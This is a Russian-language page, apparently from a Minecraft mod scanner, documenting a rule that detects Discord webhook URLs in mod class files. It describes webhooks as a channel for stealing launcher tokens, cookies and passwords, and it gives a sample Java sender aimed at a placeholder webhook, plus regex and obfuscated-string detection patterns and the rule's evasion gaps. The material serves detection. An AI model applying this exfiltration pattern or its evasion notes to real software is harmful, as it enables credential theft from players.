Discord Webhook Exfiltration
Влияние на механику Minecraft
Входящие вебхуки Discord позволяют внешним сервисам отправлять сообщения и вложения в текстовые каналы через HTTP POST запросы в формате JSON без необходимости регистрации отдельного бота.
Discord_Webhook выявляет наличие адресов webhook в коде модификаций. Во вредоносных сценариях вебхуки Discord могут использоваться как канал несанкционированной выгрузки конфиденциальных файлов и учетных данных (сессионных токенов из профилей лаунчеров, файлов cookie или сохраненных паролей) через стандартные HTTP-клиенты вроде HttpURLConnection. Поскольку трафик к доменам Discord обычно разрешен сетевыми экранами, выгрузка данных через webhook редко блокируется межсетевыми фильтрами.
Хотя некоторые инструменты администрирования серверов или сборщики отчетов об ошибках могут использовать вебхуки для уведомлений, встраивание адреса входящего webhook в клиентский мод подвергает токен риску извлечения любым лицом, проанализировавшим файл.
Анализируемые функции и API
ConstantPool CONSTANT_Utf8
Строковый литерал в пуле констант класса, содержащий шаблон URL входящего вебхука Discord.
Реализация в моде (Исходный код)
package com.example.notifier;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
public class WebhookNotificationSender {
private static final String WEBHOOK_URL = "hxxps://discord[.]com/api/webhooks/123456789012345678/<redacted>";
public static void postMessage(String messageText) {
try {
URL url = new URL(WEBHOOK_URL);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/json");
conn.setRequestProperty("User-Agent", "Mozilla/5.0");
conn.setDoOutput(true);
String jsonBody = "{\"content\":\"" + messageText + "\"}";
try (OutputStream os = conn.getOutputStream()) {
os.write(jsonBody.getBytes(StandardCharsets.UTF_8));
}
conn.getResponseCode();
} catch (Exception ignored) {
// Игнорирование ошибок отправки
}
}
}
Сигнатура байткода и статический детект
Детектор ищет строковые константы в пуле констант класса (CONSTANT_Utf8), соответствующие форматам входящих вебхуков Discord:
- Открытые URL-адреса:
discord.com/api/webhooks/\d+/илиdiscordapp.com/api/webhooks/\d+/. - Известные последовательности экранированных символов Unicode (
\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0064\u0069\u0073\u0063\u006f\u0072\u0064), создаваемые примитивными обфускаторами строк.
Правило фиксирует строку webhook непосредственно в файле класса. Главное техническое ограничение состоит в том, что детектор ориентирован на строковые литералы: если адрес вебхука расшифровывается в памяти во время исполнения или загружается с внешнего сервиса, это правило не сработает без этапа предварительной деобфускации.